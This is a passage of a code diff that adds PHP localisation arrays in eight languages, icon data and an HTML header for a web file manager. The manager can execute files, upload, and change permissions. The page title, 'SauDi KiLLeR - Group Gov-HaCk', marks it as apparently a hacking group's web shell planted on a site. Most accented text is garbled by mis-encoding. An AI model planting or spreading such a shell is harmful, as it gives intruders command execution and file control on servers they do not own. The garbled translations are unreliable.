+'execute' =&gt; 'esegui',
+
+'create_symlink' =&gt; 'crea link simbolico',
+'delete' =&gt; 'cancella',
+'rename' =&gt; 'rinomina',
+'move' =&gt; 'sposta',
+'copy' =&gt; 'copia',
+'edit' =&gt; 'modifica',
+'download' =&gt; 'download',
+'upload' =&gt; 'upload',
+'create' =&gt; 'crea',
+'change' =&gt; 'cambia',
+'save' =&gt; 'salva',
+'set' =&gt; 'imposta',
+'reset' =&gt; 'reimposta',
+'relative' =&gt; 'Percorso relativo per la destinazione',
+
+'yes' =&gt; 'Si',
+'no' =&gt; 'No',
+'back' =&gt; 'indietro',
+'destination' =&gt; 'Destinazione',
+'symlink' =&gt; 'Link simbolico',
+'no_output' =&gt; 'no output',
+
+'user' =&gt; 'User',
+'password' =&gt; 'Password',
+'add' =&gt; 'aggiungi',
+'add_basic_auth' =&gt; 'aggiungi autenticazione base',
+
+'uploaded' =&gt; '"[%1]" ?¨ stato caricato.',
+'not_uploaded' =&gt; '"[%1]" non ?¨ stato caricato.',
+'already_exists' =&gt; '"[%1]" esiste gi? .',
+'created' =&gt; '"[%1]" ?¨ stato creato.',
+'not_created' =&gt; '"[%1]" non ?¨ stato creato.',
+'really_delete' =&gt; 'Cancello questi file ?',
+'deleted' =&gt; "Questi file sono stati cancellati:\n[%1]",
+'not_deleted' =&gt; "Questi file non possono essere cancellati:\n[%1]",
+'rename_file' =&gt; 'File rinominato:',
+'renamed' =&gt; '"[%1]" ?¨ stato rinominato in "[%2]".',
+'not_renamed' =&gt; '"[%1] non ?¨ stato rinominato in "[%2]".',
+'move_files' =&gt; 'Sposto questi file:',
+'moved' =&gt; "Questi file sono stati spostati in \"[%2]\":\n[%1]",
+'not_moved' =&gt; "Questi file non possono essere spostati in \"[%2]\":\n[%1]",
+'copy_files' =&gt; 'Copio questi file',
+'copied' =&gt; "Questi file sono stati copiati in \"[%2]\":\n[%1]",
+'not_copied' =&gt; "Questi file non possono essere copiati in \"[%2]\":\n[%1]",
+'not_edited' =&gt; '"[%1]" non puU? essere modificato.',
+'executed' =&gt; "\"[%1]\" ?¨ stato eseguito con successo:\n{%2}",
+'not_executed' =&gt; "\"[%1]\" non ?¨ stato eseguito con successo\n{%2}",
+'saved' =&gt; '"[%1]" ?¨ stato salvato.',
+'not_saved' =&gt; '"[%1]" non ?¨ stato salvato.',
+'symlinked' =&gt; 'Il link siambolico da "[%2]" a "[%1]" ?¨ stato creato.',
+'not_symlinked' =&gt; 'Il link siambolico da "[%2]" a "[%1]" non ?¨ stato creato.',
+'permission_for' =&gt; 'Permessi di "[%1]":',
+'permission_set' =&gt; 'I permessi di "[%1]" sono stati impostati [%2].',
+'permission_not_set' =&gt; 'I permessi di "[%1]" non sono stati impostati [%2].',
+'not_readable' =&gt; '"[%1]" non puU? essere letto.'
+       );
+
+   case 'nl':
+
+       $date_format = 'n/j/y H:i:s';
+       $word_charset = 'ISO-8859-1';
+
+       return array(
+'directory' =&gt; 'Directory',
+'file' =&gt; 'Bestand',
+'filename' =&gt; 'Bestandsnaam',
+
+'size' =&gt; 'Grootte',
+'permission' =&gt; 'Bevoegdheid',
+'owner' =&gt; 'Eigenaar',
+'group' =&gt; 'Groep',
+'other' =&gt; 'Anderen',
+'functions' =&gt; 'Functies',
+
+'read' =&gt; 'lezen',
+'write' =&gt; 'schrijven',
+'execute' =&gt; 'uitvoeren',
+
+'create_symlink' =&gt; 'maak symlink',
+'delete' =&gt; 'verwijderen',
+'rename' =&gt; 'hernoemen',
+'move' =&gt; 'verplaatsen',
+'copy' =&gt; 'kopieren',
+'edit' =&gt; 'bewerken',
+'download' =&gt; 'downloaden',
+'upload' =&gt; 'uploaden',
+'create' =&gt; 'aanmaken',
+'change' =&gt; 'veranderen',
+'save' =&gt; 'opslaan',
+'set' =&gt; 'instellen',
+'reset' =&gt; 'resetten',
+'relative' =&gt; 'Relatief pat naar doel',
+
+'yes' =&gt; 'Ja',
+'no' =&gt; 'Nee',
+'back' =&gt; 'terug',
+'destination' =&gt; 'Bestemming',
+'symlink' =&gt; 'Symlink',
+'no_output' =&gt; 'geen output',
+
+'user' =&gt; 'Gebruiker',
+'password' =&gt; 'Wachtwoord',
+'add' =&gt; 'toevoegen',
+'add_basic_auth' =&gt; 'add basic-authentification',
+
+'uploaded' =&gt; '"[%1]" is verstuurd.',
+'not_uploaded' =&gt; '"[%1]" kan niet worden verstuurd.',
+'already_exists' =&gt; '"[%1]" bestaat al.',
+'created' =&gt; '"[%1]" is aangemaakt.',
+'not_created' =&gt; '"[%1]" kan niet worden aangemaakt.',
+'really_delete' =&gt; 'Deze bestanden verwijderen?',
+'deleted' =&gt; "Deze bestanden zijn verwijderd:\n[%1]",
+'not_deleted' =&gt; "Deze bestanden konden niet worden verwijderd:\n[%1]",
+'rename_file' =&gt; 'Bestandsnaam veranderen:',
+'renamed' =&gt; '"[%1]" heet nu "[%2]".',
+'not_renamed' =&gt; '"[%1] kon niet worden veranderd in "[%2]".',
+'move_files' =&gt; 'Verplaats deze bestanden:',
+'moved' =&gt; "Deze bestanden zijn verplaatst naar \"[%2]\":\n[%1]",
+'not_moved' =&gt; "Kan deze bestanden niet verplaatsen naar \"[%2]\":\n[%1]",
+'copy_files' =&gt; 'Kopieer deze bestanden:',
+'copied' =&gt; "Deze bestanden zijn gekopieerd naar \"[%2]\":\n[%1]",
+'not_copied' =&gt; "Deze bestanden kunnen niet worden gekopieerd naar \"[%2]\":\n[%1]",
+'not_edited' =&gt; '"[%1]" kan niet worden bewerkt.',
+'executed' =&gt; "\"[%1]\" is met succes uitgevoerd:\n{%2}",
+'not_executed' =&gt; "\"[%1]\" is niet goed uitgevoerd:\n{%2}",
+'saved' =&gt; '"[%1]" is opgeslagen.',
+'not_saved' =&gt; '"[%1]" is niet opgeslagen.',
+'symlinked' =&gt; 'Symlink van "[%2]" naar "[%1]" is aangemaakt.',
+'not_symlinked' =&gt; 'Symlink van "[%2]" naar "[%1]" is niet aangemaakt.',
+'permission_for' =&gt; 'Bevoegdheid voor "[%1]":',
+'permission_set' =&gt; 'Bevoegdheid van "[%1]" is ingesteld op [%2].',
+'permission_not_set' =&gt; 'Bevoegdheid van "[%1]" is niet ingesteld op [%2].',
+'not_readable' =&gt; '"[%1]" kan niet worden gelezen.'
+       );
+
+   case 'se':
+
+       $date_format = 'n/j/y H:i:s';
+       $word_charset = 'ISO-8859-1';
+ 
+       return array(
+'directory' =&gt; 'Mapp',
+'file' =&gt; 'Fil',
+'filename' =&gt; 'Filnamn',
+ 
+'size' =&gt; 'Storlek',
+'permission' =&gt; 'SU†kerhetsnivU‡',
+'owner' =&gt; '?¤gare',
+'group' =&gt; 'Grupp',
+'other' =&gt; 'Andra',
+'functions' =&gt; 'Funktioner',
+ 
+'read' =&gt; 'LU†s',
+'write' =&gt; 'Skriv',
+'execute' =&gt; 'UtfU?r',
+ 
+'create_symlink' =&gt; 'Skapa symlink',
+'delete' =&gt; 'Radera',
+'rename' =&gt; 'Byt namn',
+'move' =&gt; 'Flytta',
+'copy' =&gt; 'Kopiera',
+'edit' =&gt; '?¤ndra',
+'download' =&gt; 'Ladda ner',
+'upload' =&gt; 'Ladda upp',
+'create' =&gt; 'Skapa',
+'change' =&gt; '?¤ndra',
+'save' =&gt; 'Spara',
+'set' =&gt; 'Markera',
+'reset' =&gt; 'TU?m',
+'relative' =&gt; 'Relative path to target',
+ 
+'yes' =&gt; 'Ja',
+'no' =&gt; 'Nej',
+'back' =&gt; 'Tillbaks',
+'destination' =&gt; 'Destination',
+'symlink' =&gt; 'Symlink',
+'no_output' =&gt; 'no output',
+ 
+'user' =&gt; 'AnvU†ndare',
+'password' =&gt; 'LU?senord',
+'add' =&gt; 'LU†gg till',
+'add_basic_auth' =&gt; 'add basic-authentification',
+ 
+'uploaded' =&gt; '"[%1]" har laddats upp.',
+'not_uploaded' =&gt; '"[%1]" kunde inte laddas upp.',
+'already_exists' =&gt; '"[%1]" finns redan.',
+'created' =&gt; '"[%1]" har skapats.',
+'not_created' =&gt; '"[%1]" kunde inte skapas.',
+'really_delete' =&gt; 'Radera dessa filer?',
+'deleted' =&gt; "De hU†r filerna har raderats:\n[%1]",
+'not_deleted' =&gt; "Dessa filer kunde inte raderas:\n[%1]",
+'rename_file' =&gt; 'Byt namn pU‡ fil:',
+'renamed' =&gt; '"[%1]" har bytt namn till "[%2]".',
+'not_renamed' =&gt; '"[%1] kunde inte dU?pas om till "[%2]".',
+'move_files' =&gt; 'Flytta dessa filer:',
+'moved' =&gt; "Dessa filer har flyttats till \"[%2]\":\n[%1]",
+'not_moved' =&gt; "Dessa filer kunde inte flyttas till \"[%2]\":\n[%1]",
+'copy_files' =&gt; 'Kopiera dessa filer:',
+'copied' =&gt; "Dessa filer har kopierats till \"[%2]\":\n[%1]",
+'not_copied' =&gt; "Dessa filer kunde inte kopieras till \"[%2]\":\n[%1]",
+'not_edited' =&gt; '"[%1]" kan inte U†ndras.',
+'executed' =&gt; "\"[%1]\" har utfU?rts:\n{%2}",
+'not_executed' =&gt; "\"[%1]\" kunde inte utfU?ras:\n{%2}",
+'saved' =&gt; '"[%1]" har sparats.',
+'not_saved' =&gt; '"[%1]" kunde inte sparas.',
+'symlinked' =&gt; 'Symlink frU‡n "[%2]" till "[%1]" har skapats.',
+'not_symlinked' =&gt; 'Symlink frU‡n "[%2]" till "[%1]" kunde inte skapas.',
+'permission_for' =&gt; 'RU†ttigheter fU?r "[%1]":',
+'permission_set' =&gt; 'RU†ttigheter fU?r "[%1]" U†ndrades till [%2].',
+'permission_not_set' =&gt; 'Permission of "[%1]" could not be set to [%2].',
+'not_readable' =&gt; '"[%1]" kan inte lU†sas.'
+       );
+
+   case 'sp':
+
+       $date_format = 'j/n/y H:i:s';
+       $word_charset = 'ISO-8859-1';
+
+       return array(
+'directory' =&gt; 'Directorio',
+'file' =&gt; 'Archivo',
+'filename' =&gt; 'Nombre Archivo',
+
+'size' =&gt; 'TamaUŒo',
+'permission' =&gt; 'Permisos',
+'owner' =&gt; 'Propietario',
+'group' =&gt; 'Grupo',
+'other' =&gt; 'Otros',
+'functions' =&gt; 'Funciones',
+
+'read' =&gt; 'lectura',
+'write' =&gt; 'escritura',
+'execute' =&gt; 'ejecuciU?n',
+
+'create_symlink' =&gt; 'crear enlace',
+'delete' =&gt; 'borrar',
+'rename' =&gt; 'renombrar',
+'move' =&gt; 'mover',
+'copy' =&gt; 'copiar',
+'edit' =&gt; 'editar',
+'download' =&gt; 'bajar',
+'upload' =&gt; 'subir',
+'create' =&gt; 'crear',
+'change' =&gt; 'cambiar',
+'save' =&gt; 'salvar',
+'set' =&gt; 'setear',
+'reset' =&gt; 'resetear',
+'relative' =&gt; 'Path relativo',
+
+'yes' =&gt; 'Si',
+'no' =&gt; 'No',
+'back' =&gt; 'atrU„s',
+'destination' =&gt; 'Destino',
+'symlink' =&gt; 'Enlace',
+'no_output' =&gt; 'sin salida',
+
+'user' =&gt; 'Usuario',
+'password' =&gt; 'Clave',
+'add' =&gt; 'agregar',
+'add_basic_auth' =&gt; 'agregar autentificaciU?n bU„sica',
+
+'uploaded' =&gt; '"[%1]" ha sido subido.',
+'not_uploaded' =&gt; '"[%1]" no pudo ser subido.',
+'already_exists' =&gt; '"[%1]" ya existe.',
+'created' =&gt; '"[%1]" ha sido creado.',
+'not_created' =&gt; '"[%1]" no pudo ser creado.',
+'really_delete' =&gt; '??Borra estos archivos?',
+'deleted' =&gt; "Estos archivos han sido borrados:\n[%1]",
+'not_deleted' =&gt; "Estos archivos no pudieron ser borrados:\n[%1]",
+'rename_file' =&gt; 'Renombra archivo:',
+'renamed' =&gt; '"[%1]" ha sido renombrado a "[%2]".',
+'not_renamed' =&gt; '"[%1] no pudo ser renombrado a "[%2]".',
+'move_files' =&gt; 'Mover estos archivos:',
+'moved' =&gt; "Estos archivos han sido movidos a \"[%2]\":\n[%1]",
+'not_moved' =&gt; "Estos archivos no pudieron ser movidos a \"[%2]\":\n[%1]",
+'copy_files' =&gt; 'Copiar estos archivos:',
+'copied' =&gt; "Estos archivos han sido copiados a  \"[%2]\":\n[%1]",
+'not_copied' =&gt; "Estos archivos no pudieron ser copiados \"[%2]\":\n[%1]",
+'not_edited' =&gt; '"[%1]" no pudo ser editado.',
+'executed' =&gt; "\"[%1]\" ha sido ejecutado correctamente:\n{%2}",
+'not_executed' =&gt; "\"[%1]\" no pudo ser ejecutado correctamente:\n{%2}",
+'saved' =&gt; '"[%1]" ha sido salvado.',
+'not_saved' =&gt; '"[%1]" no pudo ser salvado.',
+'symlinked' =&gt; 'Enlace desde "[%2]" a "[%1]" ha sido creado.',
+'not_symlinked' =&gt; 'Enlace desde "[%2]" a "[%1]" no pudo ser creado.',
+'permission_for' =&gt; 'Permisos de "[%1]":',
+'permission_set' =&gt; 'Permisos de "[%1]" fueron seteados a [%2].',
+'permission_not_set' =&gt; 'Permisos de "[%1]" no pudo ser seteado a [%2].',
+'not_readable' =&gt; '"[%1]" no pudo ser leU?do.'
+       );
+
+   case 'dk':
+
+       $date_format = 'n/j/y H:i:s';
+       $word_charset = 'ISO-8859-1';
+
+       return array(
+'directory' =&gt; 'Mappe',
+'file' =&gt; 'Fil',
+'filename' =&gt; 'Filnavn',
+
+'size' =&gt; 'StU‘rrelse',
+'permission' =&gt; 'Rettighed',
+'owner' =&gt; 'Ejer',
+'group' =&gt; 'Gruppe',
+'other' =&gt; 'Andre',
+'functions' =&gt; 'Funktioner',
+
+'read' =&gt; 'lUˆs',
+'write' =&gt; 'skriv',
+'execute' =&gt; 'kU‘r',
+
+'create_symlink' =&gt; 'opret symbolsk link',
+'delete' =&gt; 'slet',
+'rename' =&gt; 'omdU‘b',
+'move' =&gt; 'flyt',
+'copy' =&gt; 'kopier',
+'edit' =&gt; 'rediger',
+'download' =&gt; 'download',
+'upload' =&gt; 'upload',
+'create' =&gt; 'opret',
+'change' =&gt; 'skift',
+'save' =&gt; 'gem',
+'set' =&gt; 'sUˆt',
+'reset' =&gt; 'nulstil',
+'relative' =&gt; 'Relativ sti til valg',
+
+'yes' =&gt; 'Ja',
+'no' =&gt; 'Nej',
+'back' =&gt; 'tilbage',
+'destination' =&gt; 'Distination',
+'symlink' =&gt; 'Symbolsk link',
+'no_output' =&gt; 'ingen resultat',
+
+'user' =&gt; 'Bruger',
+'password' =&gt; 'Kodeord',
+'add' =&gt; 'tilfU‘j',
+'add_basic_auth' =&gt; 'tilfU‘j grundliggende rettigheder',
+
+'uploaded' =&gt; '"[%1]" er blevet uploaded.',
+'not_uploaded' =&gt; '"[%1]" kunnu ikke uploades.',
+'already_exists' =&gt; '"[%1]" findes allerede.',
+'created' =&gt; '"[%1]" er blevet oprettet.',
+'not_created' =&gt; '"[%1]" kunne ikke oprettes.',
+'really_delete' =&gt; 'Slet disse filer?',
+'deleted' =&gt; "Disse filer er blevet slettet:\n[%1]",
+'not_deleted' =&gt; "Disse filer kunne ikke slettes:\n[%1]",
+'rename_file' =&gt; 'OmdU‘d fil:',
+'renamed' =&gt; '"[%1]" er blevet omdU‘bt til "[%2]".',
+'not_renamed' =&gt; '"[%1] kunne ikke omdU‘bes til "[%2]".',
+'move_files' =&gt; 'Flyt disse filer:',
+'moved' =&gt; "Disse filer er blevet flyttet til \"[%2]\":\n[%1]",
+'not_moved' =&gt; "Disse filer kunne ikke flyttes til \"[%2]\":\n[%1]",
+'copy_files' =&gt; 'Kopier disse filer:',
+'copied' =&gt; "Disse filer er kopieret til \"[%2]\":\n[%1]",
+'not_copied' =&gt; "Disse filer kunne ikke kopieres til \"[%2]\":\n[%1]",
+'not_edited' =&gt; '"[%1]" kan ikke redigeres.',
+'executed' =&gt; "\"[%1]\" er blevet kU‘rt korrekt:\n{%2}",
+'not_executed' =&gt; "\"[%1]\" kan ikke kU‘res korrekt:\n{%2}",
+'saved' =&gt; '"[%1]" er blevet gemt.',
+'not_saved' =&gt; '"[%1]" kunne ikke gemmes.',
+'symlinked' =&gt; 'Symbolsk link fra "[%2]" til "[%1]" er blevet oprettet.',
+'not_symlinked' =&gt; 'Symbolsk link fra "[%2]" til "[%1]" kunne ikke oprettes.',
+'permission_for' =&gt; 'Rettigheder for "[%1]":',
+'permission_set' =&gt; 'Rettigheder for "[%1]" blev sat til [%2].',
+'permission_not_set' =&gt; 'Rettigheder for "[%1]" kunne ikke sUˆttes til [%2].',
+'not_readable' =&gt; '"[%1]" Kan ikke lUˆses.'
+       );
+
+   case 'tr':
+
+       $date_format = 'n/j/y H:i:s';
+       $word_charset = 'ISO-8859-1';
+
+       return array(
+'directory' =&gt; 'KlasU?r',
+'file' =&gt; 'Dosya',
+'filename' =&gt; 'dosya adi',
+
+'size' =&gt; 'boyutu',
+'permission' =&gt; 'Izin',
+'owner' =&gt; 'sahib',
+'group' =&gt; 'Grup',
+'other' =&gt; 'Digerleri',
+'functions' =&gt; 'Fonksiyonlar',
+
+'read' =&gt; 'oku',
+'write' =&gt; 'yaz',
+'execute' =&gt; '?§alistir',
+
+'create_symlink' =&gt; 'yarat symlink',
+'delete' =&gt; 'sil',
+'rename' =&gt; 'ad degistir',
+'move' =&gt; 'tasi',
+'copy' =&gt; 'kopyala',
+'edit' =&gt; 'd?¼zenle',
+'download' =&gt; 'indir',
+'upload' =&gt; 'y?¼kle',
+'create' =&gt; 'create',
+'change' =&gt; 'degistir',
+'save' =&gt; 'kaydet',
+'set' =&gt; 'ayar',
+'reset' =&gt; 'sifirla',
+'relative' =&gt; 'Hedef yola gU?re',
+
+'yes' =&gt; 'Evet',
+'no' =&gt; 'Hayir',
+'back' =&gt; 'Geri',
+'destination' =&gt; 'Hedef',
+'symlink' =&gt; 'Kâ€?sa yol',
+'no_output' =&gt; '?§ikti yok',
+
+'user' =&gt; 'Kullanici',
+'password' =&gt; 'Sifre',
+'add' =&gt; 'ekle',
+'add_basic_auth' =&gt; 'ekle basit-authentification',
+
+'uploaded' =&gt; '"[%1]" y?¼klendi.',
+'not_uploaded' =&gt; '"[%1]" y?¼klenemedi.',
+'already_exists' =&gt; '"[%1]" kullanilmakta.',
+'created' =&gt; '"[%1]" olusturuldu.',
+'not_created' =&gt; '"[%1]" olusturulamadi.',
+'really_delete' =&gt; 'Bu dosyalari silmek istediginizden eminmisiniz?',
+'deleted' =&gt; "Bu dosyalar silindi:\n[%1]",
+'not_deleted' =&gt; "Bu dosyalar silinemedi:\n[%1]",
+'rename_file' =&gt; 'Adi degisen dosya:',
+'renamed' =&gt; '"[%1]" adili dosyanin yeni adi "[%2]".',
+'not_renamed' =&gt; '"[%1] adi degistirilemedi "[%2]" ile.',
+'move_files' =&gt; 'Tasinan dosyalar:',
+'moved' =&gt; "Bu dosyalari tasidiginiz yer \"[%2]\":\n[%1]",
+'not_moved' =&gt; "Bu dosyalari tasiyamadiginiz yer \"[%2]\":\n[%1]",
+'copy_files' =&gt; 'Kopyalanan dosyalar:',
+'copied' =&gt; "Bu dosyalar kopyalandi \"[%2]\":\n[%1]",
+'not_copied' =&gt; "Bu dosyalar kopyalanamiyor \"[%2]\":\n[%1]",
+'not_edited' =&gt; '"[%1]" d?¼zenlenemiyor.',
+'executed' =&gt; "\"[%1]\" basariyla ?§alistirildi:\n{%2}",
+'not_executed' =&gt; "\"[%1]\" ?§alistirilamadi:\n{%2}",
+'saved' =&gt; '"[%1]" kaydedildi.',
+'not_saved' =&gt; '"[%1]" kaydedilemedi.',
+'symlinked' =&gt; '"[%2]" den "[%1]" e kâ€?sayol oluâ€?turuldu.',
+'not_symlinked' =&gt; '"[%2]"den "[%1]" e kâ€?sayol oluâ€?turulamadâ€?.',
+'permission_for' =&gt; 'Izinler "[%1]":',
+'permission_set' =&gt; 'Izinler "[%1]" degistirildi [%2].',
+'permission_not_set' =&gt; 'Izinler "[%1]" degistirilemedi [%2].',
+'not_readable' =&gt; '"[%1]" okunamiyor.'
+       );
+
+   case 'cs':
+
+       $date_format = 'd.m.y H:i:s';
+       $word_charset = 'UTF-8';
+
+       return array(
+'directory' =&gt; 'Adres?£?Œ?¥â„¢',
+'file' =&gt; 'Soubor',
+'filename' =&gt; 'Jm?£A©no souboru',
+
+'size' =&gt; 'Velikost',
+'permission' =&gt; 'Pr?£?Œva',
+'owner' =&gt; 'Vlastn?£A­k',
+'group' =&gt; 'Skupina',
+'other' =&gt; 'Ostatn?£A­',
+'functions' =&gt; 'Funkce',
+
+'read' =&gt; '?¤?’ten?£A­',
+'write' =&gt; 'Z?£?Œpis',
+'execute' =&gt; 'Spou?¥?Œt?¤â€?n?£A­',
+
+'create_symlink' =&gt; 'Vytvo?¥â„¢it symbolick?£A½ odkaz',
+'delete' =&gt; 'Smazat',
+'rename' =&gt; 'P?¥â„¢ejmenovat',
+'move' =&gt; 'P?¥â„¢esunout',
+'copy' =&gt; 'Zkop?£A­rovat',
+'edit' =&gt; 'Otev?¥â„¢?£A­t',
+'download' =&gt; 'St?£?Œhnout',
+'upload' =&gt; 'Nahraj na server',
+'create' =&gt; 'Vytvo?¥â„¢it',
+'change' =&gt; 'Zm?¤â€?nit',
+'save' =&gt; 'Ulo?¥A¾it',
+'set' =&gt; 'Nastavit',
+'reset' =&gt; 'zp?¤â€?t',
+'relative' =&gt; 'Relatif',
+
+'yes' =&gt; 'Ano',
+'no' =&gt; 'Ne',
+'back' =&gt; 'Zp?¤â€?t',
+'destination' =&gt; 'Destination',
+'symlink' =&gt; 'Symbolick?£A½ odkaz',
+'no_output' =&gt; 'Pr?£?Œzdn?£A½ v?£A½stup',
+
+'user' =&gt; 'U?¥A¾ivatel',
+'password' =&gt; 'Heslo',
+'add' =&gt; 'P?¥â„¢idat',
+'add_basic_auth' =&gt; 'p?¥â„¢idej z?£?Œkladn?£A­ autentizaci',
+
+'uploaded' =&gt; 'Soubor "[%1]" byl nahr?£?Œn na server.',
+'not_uploaded' =&gt; 'Soubor "[%1]" nebyl nahr?£?Œn na server.',
+'already_exists' =&gt; 'Soubor "[%1]" u?¥A¾ exituje.',
+'created' =&gt; 'Soubor "[%1]" byl vytvo?¥â„¢en.',
+'not_created' =&gt; 'Soubor "[%1]" nemohl b?£A½t  vytvo?¥â„¢en.',
+'really_delete' =&gt; 'Vymazat soubor?',
+'deleted' =&gt; "Byly vymaz?£?Œny tyto soubory:\n[%1]",
+'not_deleted' =&gt; "Tyto soubory nemohly b?£A½t vytvo?¥â„¢eny:\n[%1]",
+'rename_file' =&gt; 'P?¥â„¢ejmenuj soubory:',
+'renamed' =&gt; 'Soubor "[%1]" byl p?¥â„¢ejmenov?£?Œn na "[%2]".',
+'not_renamed' =&gt; 'Soubor "[%1]" nemohl b?£A½t p?¥â„¢ejmenov?£?Œn na "[%2]".',
+'move_files' =&gt; 'P?¥â„¢em?£A­stit tyto soubory:',
+'moved' =&gt; "Tyto soubory byly p?¥â„¢em?£A­st?¤â€?ny do \"[%2]\":\n[%1]",
+'not_moved' =&gt; "Tyto soubory nemohly b?£A½t p?¥â„¢em?£A­st?¤â€?ny do \"[%2]\":\n[%1]",
+'copy_files' =&gt; 'Zkop?£A­rovat tyto soubory:',
+'copied' =&gt; "Tyto soubory byly zkop?£A­rov?£?Œny do \"[%2]\":\n[%1]",
+'not_copied' =&gt; "Tyto soubory nemohly b?£A½t zkop?£A­rov?£?Œny do \"[%2]\":\n[%1]",
+'not_edited' =&gt; 'Soubor "[%1]" nemohl b?£A½t otev?¥â„¢en.',
+'executed' =&gt; "SOubor \"[%1]\" byl spu?¥?Œt?¤â€?n :\n{%2}",
+'not_executed' =&gt; "Soubor \"[%1]\" nemohl b?£A½t spu?¥?Œt?¤â€?n:\n{%2}",
+'saved' =&gt; 'Soubor "[%1]" byl ulo?¥A¾en.',
+'not_saved' =&gt; 'Soubor "[%1]" nemohl b?£A½t ulo?¥A¾en.',
+'symlinked' =&gt; 'Byl vyvo?¥â„¢en symbolick?£A½ odkaz "[%2]" na soubor "[%1]".',
+'not_symlinked' =&gt; 'Symbolick?£A½ odkaz "[%2]" na soubor "[%1]" nemohl b?£A½t vytvo?¥â„¢en.',
+'permission_for' =&gt; 'Pr?£?Œva k "[%1]":',
+'permission_set' =&gt; 'Pr?£?Œva k "[%1]" byla zm?¤â€?n?¤â€?na na [%2].',
+'permission_not_set' =&gt; 'Pr?£?Œva k "[%1]" nemohla b?£A½t zm?¤â€?n?¤â€?na na [%2].',
+'not_readable' =&gt; 'Soubor "[%1]" nen?£A­ mo?¥A¾no p?¥â„¢e?¤?†?£A­st.'
+       );
+
+   case 'en':
+   default:
+
+       $date_format = 'n/j/y H:i:s';
+       $word_charset = 'ISO-8859-1';
+
+       return array(
+'directory' =&gt; 'Directory',
+'file' =&gt; 'File',
+'filename' =&gt; 'Filename',
+
+'size' =&gt; 'Size',
+'permission' =&gt; 'Permission',
+'owner' =&gt; 'Owner',
+'group' =&gt; 'Group',
+'other' =&gt; 'Others',
+'functions' =&gt; 'Functions',
+
+'read' =&gt; 'read',
+'write' =&gt; 'write',
+'execute' =&gt; 'execute',
+
+'create_symlink' =&gt; 'create symlink',
+'delete' =&gt; 'delete',
+'rename' =&gt; 'rename',
+'move' =&gt; 'move',
+'copy' =&gt; 'copy',
+'edit' =&gt; 'edit',
+'download' =&gt; 'download',
+'upload' =&gt; 'upload',
+'create' =&gt; 'create',
+'change' =&gt; 'change',
+'save' =&gt; 'save',
+'set' =&gt; 'set',
+'reset' =&gt; 'reset',
+'relative' =&gt; 'Relative path to target',
+
+'yes' =&gt; 'Yes',
+'no' =&gt; 'No',
+'back' =&gt; 'back',
+'destination' =&gt; 'Destination',
+'symlink' =&gt; 'Symlink',
+'no_output' =&gt; 'no output',
+
+'user' =&gt; 'User',
+'password' =&gt; 'Password',
+'add' =&gt; 'add',
+'add_basic_auth' =&gt; 'add basic-authentification',
+
+'uploaded' =&gt; '"[%1]" has been uploaded.',
+'not_uploaded' =&gt; '"[%1]" could not be uploaded.',
+'already_exists' =&gt; '"[%1]" already exists.',
+'created' =&gt; '"[%1]" has been created.',
+'not_created' =&gt; '"[%1]" could not be created.',
+'really_delete' =&gt; 'Delete these files?',
+'deleted' =&gt; "These files have been deleted:\n[%1]",
+'not_deleted' =&gt; "These files could not be deleted:\n[%1]",
+'rename_file' =&gt; 'Rename file:',
+'renamed' =&gt; '"[%1]" has been renamed to "[%2]".',
+'not_renamed' =&gt; '"[%1] could not be renamed to "[%2]".',
+'move_files' =&gt; 'Move these files:',
+'moved' =&gt; "These files have been moved to \"[%2]\":\n[%1]",
+'not_moved' =&gt; "These files could not be moved to \"[%2]\":\n[%1]",
+'copy_files' =&gt; 'Copy these files:',
+'copied' =&gt; "These files have been copied to \"[%2]\":\n[%1]",
+'not_copied' =&gt; "These files could not be copied to \"[%2]\":\n[%1]",
+'not_edited' =&gt; '"[%1]" can not be edited.',
+'executed' =&gt; "\"[%1]\" has been executed successfully:\n{%2}",
+'not_executed' =&gt; "\"[%1]\" could not be executed successfully:\n{%2}",
+'saved' =&gt; '"[%1]" has been saved.',
+'not_saved' =&gt; '"[%1]" could not be saved.',
+'symlinked' =&gt; 'Symlink from "[%2]" to "[%1]" has been created.',
+'not_symlinked' =&gt; 'Symlink from "[%2]" to "[%1]" could not be created.',
+'permission_for' =&gt; 'Permission of "[%1]":',
+'permission_set' =&gt; 'Permission of "[%1]" was set to [%2].',
+'permission_not_set' =&gt; 'Permission of "[%1]" could not be set to [%2].',
+'not_readable' =&gt; '"[%1]" can not be read.'
+       );
+
+   }
+
+}
+
+function getimage ($image) {
+   switch ($image) {
+   case 'file':
+       return base64_decode('R0lGODlhEQANAJEDAJmZmf///wAAAP///yH5BAHoAwMALAAAAAARAA0AAAItnIGJxg0B42rsiSvCA/REmXQWhmnih3LUSGaqg35vFbSXucbSabunjnMohq8CADsA');
+   case 'folder':
+       return base64_decode('R0lGODlhEQANAJEDAJmZmf///8zMzP///yH5BAHoAwMALAAAAAARAA0AAAIqnI+ZwKwbYgTPtIudlbwLOgCBQJYmCYrn+m3smY5vGc+0a7dhjh7ZbygAADsA');
+   case 'hidden_file':
+       return base64_decode('R0lGODlhEQANAJEDAMwAAP///5mZmf///yH5BAHoAwMALAAAAAARAA0AAAItnIGJxg0B42rsiSvCA/REmXQWhmnih3LUSGaqg35vFbSXucbSabunjnMohq8CADsA');
+   case 'link':
+       return base64_decode('R0lGODlhEQANAKIEAJmZmf///wAAAMwAAP///wAAAAAAAAAAACH5BAHoAwQALAAAAAARAA0AAAM5SArcrDCCQOuLcIotwgTYUllNOA0DxXkmhY4shM5zsMUKTY8gNgUvW6cnAaZgxMyIM2zBLCaHlJgAADsA');
+   case 'smiley':
+       return base64_decode('R0lGODlhEQANAJECAAAAAP//AP///wAAACH5BAHoAwIALAAAAAARAA0AAAIslI+pAu2wDAiz0jWD3hqmBzZf1VCleJQch0rkdnppB3dKZuIygrMRE/oJDwUAOwA=');
+   case 'arrow':
+       return base64_decode('R0lGODlhEQANAIABAAAAAP///yH5BAEKAAEALAAAAAARAA0AAAIdjA9wy6gNQ4pwUmav0yvn+hhJiI3mCJ6otrIkxxQAOw==');
+   }
+}
+
+function html_header () {
+   global $site_charset;
+
+   echo &lt;&lt;&amp;lt;!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
+     "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"&gt;
+
+
+
+
+
+SauDi KiLLeR - Group Gov-HaCk
+
+
+
+&lt;!--
+function activate (name) {
+   if (document &amp;&amp; document.forms[0] &amp;&amp; document.forms[0].elements['focus']) {
+       document.forms[0].elements['focus'].value = name;
+   }
+}
+//--&gt;
+
+
+
+
+
+END;
+
+}
+
+function html_footer () {
+
+   echo &lt;&lt;
+
+END;
+
+}
+
+function notice ($phrase) {
